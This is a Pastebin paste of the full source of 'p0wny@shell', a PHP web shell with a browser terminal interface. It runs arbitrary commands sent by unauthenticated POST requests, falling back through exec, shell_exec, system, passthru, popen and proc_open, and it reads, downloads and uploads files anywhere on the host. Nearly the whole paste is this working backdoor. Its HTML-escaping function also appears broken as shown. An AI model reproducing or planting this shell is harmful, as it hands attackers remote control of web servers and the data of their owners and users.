Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $SHELL_CONFIG = array(
- 'username' => 'p0wny',
- 'hostname' => 'shell',
- );
- function expandPath($path) {
- if (preg_match("#^(~[a-zA-Z0-9_.-]*)(/.*)?$#", $path, $match)) {
- exec("echo $match[1]", $stdout);
- return $stdout[0] . $match[2];
- }
- return $path;
- }
- function allFunctionExist($list = array()) {
- foreach ($list as $entry) {
- if (!function_exists($entry)) {
- return false;
- }
- }
- return true;
- }
- function executeCommand($cmd) {
- $output = '';
- if (function_exists('exec')) {
- exec($cmd, $output);
- $output = implode("\n", $output);
- } else if (function_exists('shell_exec')) {
- $output = shell_exec($cmd);
- } else if (allFunctionExist(array('system', 'ob_start', 'ob_get_contents', 'ob_end_clean'))) {
- ob_start();
- system($cmd);
- $output = ob_get_contents();
- ob_end_clean();
- } else if (allFunctionExist(array('passthru', 'ob_start', 'ob_get_contents', 'ob_end_clean'))) {
- ob_start();
- passthru($cmd);
- $output = ob_get_contents();
- ob_end_clean();
- } else if (allFunctionExist(array('popen', 'feof', 'fread', 'pclose'))) {
- $handle = popen($cmd, 'r');
- while (!feof($handle)) {
- $output .= fread($handle, 4096);
- }
- pclose($handle);
- } else if (allFunctionExist(array('proc_open', 'stream_get_contents', 'proc_close'))) {
- $handle = proc_open($cmd, array(0 => array('pipe', 'r'), 1 => array('pipe', 'w')), $pipes);
- $output = stream_get_contents($pipes[1]);
- proc_close($handle);
- }
- return $output;
- }
- function isRunningWindows() {
- return stripos(PHP_OS, "WIN") === 0;
- }
- function featureShell($cmd, $cwd) {
- $stdout = "";
- if (preg_match("/^\s*cd\s*(2>&1)?$/", $cmd)) {
- chdir(expandPath("~"));
- } elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
- chdir($cwd);
- preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
- chdir(expandPath($match[1]));
- } elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) {
- chdir($cwd);
- preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
- return featureDownload($match[1]);
- } else {
- chdir($cwd);
- $stdout = executeCommand($cmd);
- }
- return array(
- "stdout" => base64_encode($stdout),
- "cwd" => base64_encode(getcwd())
- );
- }
- function featurePwd() {
- return array("cwd" => base64_encode(getcwd()));
- }
- function featureHint($fileName, $cwd, $type) {
- chdir($cwd);
- if ($type == 'cmd') {
- $cmd = "compgen -c $fileName";
- } else {
- $cmd = "compgen -f $fileName";
- }
- $cmd = "/bin/bash -c \"$cmd\"";
- $files = explode("\n", shell_exec($cmd));
- foreach ($files as &$filename) {
- $filename = base64_encode($filename);
- }
- return array(
- 'files' => $files,
- );
- }
- function featureDownload($filePath) {
- $file = @file_get_contents($filePath);
- if ($file === FALSE) {
- return array(
- 'stdout' => base64_encode('File not found / no read permission.'),
- 'cwd' => base64_encode(getcwd())
- );
- } else {
- return array(
- 'name' => base64_encode(basename($filePath)),
- 'file' => base64_encode($file)
- );
- }
- }
- function featureUpload($path, $file, $cwd) {
- chdir($cwd);
- $f = @fopen($path, 'wb');
- if ($f === FALSE) {
- return array(
- 'stdout' => base64_encode('Invalid path / no write permission.'),
- 'cwd' => base64_encode(getcwd())
- );
- } else {
- fwrite($f, base64_decode($file));
- fclose($f);
- return array(
- 'stdout' => base64_encode('Done.'),
- 'cwd' => base64_encode(getcwd())
- );
- }
- }
- function initShellConfig() {
- global $SHELL_CONFIG;
- if (isRunningWindows()) {
- $username = getenv('USERNAME');
- if ($username !== false) {
- $SHELL_CONFIG['username'] = $username;
- }
- } else {
- $pwuid = posix_getpwuid(posix_geteuid());
- if ($pwuid !== false) {
- $SHELL_CONFIG['username'] = $pwuid['name'];
- }
- }
- $hostname = gethostname();
- if ($hostname !== false) {
- $SHELL_CONFIG['hostname'] = $hostname;
- }
- }
- if (isset($_GET["feature"])) {
- $response = NULL;
- switch ($_GET["feature"]) {
- case "shell":
- $cmd = $_POST['cmd'];
- if (!preg_match('/2>/', $cmd)) {
- $cmd .= ' 2>&1';
- }
- $response = featureShell($cmd, $_POST["cwd"]);
- break;
- case "pwd":
- $response = featurePwd();
- break;
- case "hint":
- $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
- break;
- case 'upload':
- $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);
- }
- header("Content-Type: application/json");
- echo json_encode($response);
- die();
- } else {
- initShellConfig();
- }
- ?><!DOCTYPE html>
- <html>
- <head>
- <meta charset="UTF-8" />
- <title>p0wny@shell:~#</title>
- <meta name="viewport" content="width=device-width, initial-scale=1.0" />
- <style>
- html, body {
- margin: 0;
- padding: 0;
- background: #333;
- color: #eee;
- font-family: monospace;
- width: 100vw;
- height: 100vh;
- overflow: hidden;
- }
- *::-webkit-scrollbar-track {
- border-radius: 8px;
- background-color: #353535;
- }
- *::-webkit-scrollbar {
- width: 8px;
- height: 8px;
- }
- *::-webkit-scrollbar-thumb {
- border-radius: 8px;
- -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);
- background-color: #bcbcbc;
- }
- #shell {
- background: #222;
- box-shadow: 0 0 5px rgba(0, 0, 0, .3);
- font-size: 10pt;
- display: flex;
- flex-direction: column;
- align-items: stretch;
- max-width: calc(100vw - 2 * var(--shell-margin));
- max-height: calc(100vh - 2 * var(--shell-margin));
- resize: both;
- overflow: hidden;
- width: 100%;
- height: 100%;
- margin: var(--shell-margin) auto;
- }
- #shell-content {
- overflow: auto;
- padding: 5px;
- white-space: pre-wrap;
- flex-grow: 1;
- }
- #shell-logo {
- font-weight: bold;
- color: #FF4180;
- text-align: center;
- }
- :root {
- --shell-margin: 25px;
- }
- @media (min-width: 1200px) {
- :root {
- --shell-margin: 50px !important;
- }
- }
- @media (max-width: 991px),
- (max-height: 600px) {
- #shell-logo {
- font-size: 6px;
- margin: -25px 0;
- }
- :root {
- --shell-margin: 0 !important;
- }
- #shell {
- resize: none;
- }
- }
- @media (max-width: 767px) {
- #shell-input {
- flex-direction: column;
- }
- }
- @media (max-width: 320px) {
- #shell-logo {
- font-size: 5px;
- }
- }
- .shell-prompt {
- font-weight: bold;
- color: #75DF0B;
- }
- .shell-prompt > span {
- color: #1BC9E7;
- }
- #shell-input {
- display: flex;
- box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
- border-top: rgba(255, 255, 255, .05) solid 1px;
- padding: 10px 0;
- }
- #shell-input > label {
- flex-grow: 0;
- display: block;
- padding: 0 5px;
- height: 30px;
- line-height: 30px;
- }
- #shell-input #shell-cmd {
- height: 30px;
- line-height: 30px;
- border: none;
- background: transparent;
- color: #eee;
- font-family: monospace;
- font-size: 10pt;
- width: 100%;
- align-self: center;
- box-sizing: border-box;
- }
- #shell-input div {
- flex-grow: 1;
- align-items: stretch;
- }
- #shell-input input {
- outline: none;
- }
- </style>
- <script>
- var SHELL_CONFIG = <?php echo json_encode($SHELL_CONFIG); ?>;
- var CWD = null;
- var commandHistory = [];
- var historyPosition = 0;
- var eShellCmdInput = null;
- var eShellContent = null;
- function _insertCommand(command) {
- eShellContent.innerHTML += "\n\n";
- eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
- eShellContent.innerHTML += escapeHtml(command);
- eShellContent.innerHTML += "\n";
- eShellContent.scrollTop = eShellContent.scrollHeight;
- }
- function _insertStdout(stdout) {
- eShellContent.innerHTML += escapeHtml(stdout);
- eShellContent.scrollTop = eShellContent.scrollHeight;
- }
- function _defer(callback) {
- setTimeout(callback, 0);
- }
- function featureShell(command) {
- _insertCommand(command);
- if (/^\s*upload\s+[^\s]+\s*$/.test(command)) {
- featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*$/)[1]);
- } else if (/^\s*clear\s*$/.test(command)) {
- // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
- eShellContent.innerHTML = '';
- } else {
- makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {
- if (response.hasOwnProperty('file')) {
- featureDownload(atob(response.name), response.file)
- } else {
- _insertStdout(atob(response.stdout));
- updateCwd(atob(response.cwd));
- }
- });
- }
- }
- function featureHint() {
- if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete
- function _requestCallback(data) {
- if (data.files.length <= 1) return; // no completion
- data.files = data.files.map(function(file){
- return atob(file);
- });
- if (data.files.length === 2) {
- if (type === 'cmd') {
- eShellCmdInput.value = data.files[0];
- } else {
- var currentValue = eShellCmdInput.value;
- eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
- }
- } else {
- _insertCommand(eShellCmdInput.value);
- _insertStdout(data.files.join("\n"));
- }
- }
- var currentCmd = eShellCmdInput.value.split(" ");
- var type = (currentCmd.length === 1) ? "cmd" : "file";
- var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];
- makeRequest(
- "?feature=hint",
- {
- filename: fileName,
- cwd: CWD,
- type: type
- },
- _requestCallback
- );
- }
- function featureDownload(name, file) {
- var element = document.createElement('a');
- element.setAttribute('href', 'data:application/octet-stream;base64,' + file);
- element.setAttribute('download', name);
- element.style.display = 'none';
- document.body.appendChild(element);
- element.click();
- document.body.removeChild(element);
- _insertStdout('Done.');
- }
- function featureUpload(path) {
- var element = document.createElement('input');
- element.setAttribute('type', 'file');
- element.style.display = 'none';
- document.body.appendChild(element);
- element.addEventListener('change', function () {
- var promise = getBase64(element.files[0]);
- promise.then(function (file) {
- makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {
- _insertStdout(atob(response.stdout));
- updateCwd(atob(response.cwd));
- });
- }, function () {
- _insertStdout('An unknown client-side error occurred.');
- });
- });
- element.click();
- document.body.removeChild(element);
- }
- function getBase64(file, onLoadCallback) {
- return new Promise(function(resolve, reject) {
- var reader = new FileReader();
- reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };
- reader.onerror = reject;
- reader.readAsDataURL(file);
- });
- }
- function genPrompt(cwd) {
- cwd = cwd || "~";
- var shortCwd = cwd;
- if (cwd.split("/").length > 3) {
- var splittedCwd = cwd.split("/");
- shortCwd = "…/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
- }
- return SHELL_CONFIG["username"] + "@" + SHELL_CONFIG["hostname"] + ":<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
- }
- function updateCwd(cwd) {
- if (cwd) {
- CWD = cwd;
- _updatePrompt();
- return;
- }
- makeRequest("?feature=pwd", {}, function(response) {
- CWD = atob(response.cwd);
- _updatePrompt();
- });
- }
- function escapeHtml(string) {
- return string
- .replace(/&/g, "&")
- .replace(/</g, "<")
- .replace(/>/g, ">");
- }
- function _updatePrompt() {
- var eShellPrompt = document.getElementById("shell-prompt");
- eShellPrompt.innerHTML = genPrompt(CWD);
- }
- function _onShellCmdKeyDown(event) {
- switch (event.key) {
- case "Enter":
- featureShell(eShellCmdInput.value);
- insertToHistory(eShellCmdInput.value);
- eShellCmdInput.value = "";
- break;
- case "ArrowUp":
- if (historyPosition > 0) {
- historyPosition--;
- eShellCmdInput.blur();
- eShellCmdInput.value = commandHistory[historyPosition];
- _defer(function() {
- eShellCmdInput.focus();
- });
- }
- break;
- case "ArrowDown":
- if (historyPosition >= commandHistory.length) {
- break;
- }
- historyPosition++;
- if (historyPosition === commandHistory.length) {
- eShellCmdInput.value = "";
- } else {
- eShellCmdInput.blur();
- eShellCmdInput.focus();
- eShellCmdInput.value = commandHistory[historyPosition];
- }
- break;
- case 'Tab':
- event.preventDefault();
- featureHint();
- break;
- }
- }
- function insertToHistory(cmd) {
- commandHistory.push(cmd);
- historyPosition = commandHistory.length;
- }
- function makeRequest(url, params, callback) {
- function getQueryString() {
- var a = [];
- for (var key in params) {
- if (params.hasOwnProperty(key)) {
- a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
- }
- }
- return a.join("&");
- }
- var xhr = new XMLHttpRequest();
- xhr.open("POST", url, true);
- xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
- xhr.onreadystatechange = function() {
- if (xhr.readyState === 4 && xhr.status === 200) {
- try {
- var responseJson = JSON.parse(xhr.responseText);
- callback(responseJson);
- } catch (error) {
- alert("Error while parsing response: " + error);
- }
- }
- };
- xhr.send(getQueryString());
- }
- document.onclick = function(event) {
- event = event || window.event;
- var selection = window.getSelection();
- var target = event.target || event.srcElement;
- if (target.tagName === "SELECT") {
- return;
- }
- if (!selection.toString()) {
- eShellCmdInput.focus();
- }
- };
- window.onload = function() {
- eShellCmdInput = document.getElementById("shell-cmd");
- eShellContent = document.getElementById("shell-content");
- updateCwd();
- eShellCmdInput.focus();
- };
- </script>
- </head>
- <body>
- <div id="shell">
- <pre id="shell-content">
- <div id="shell-logo">
- ___ ____ _ _ _ _ _ <span></span>
- _ __ / _ \__ ___ __ _ _ / __ \ ___| |__ ___| | |_ /\/|| || |_ <span></span>
- | '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_ .. _|<span></span>
- | |_) | |_| |\ V V /| | | | |_| | | (_| \__ \ | | | __/ | |_ |_ _|<span></span>
- | .__/ \___/ \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_) |_||_| <span></span>
- |_| |___/ \____/ <span></span>
- </div>
- </pre>
- <div id="shell-input">
- <label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label>
- <div>
- <input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>
- </div>
- </div>
- </div>
- </body>
- </html>
Add Comment
Please, Sign In to add comment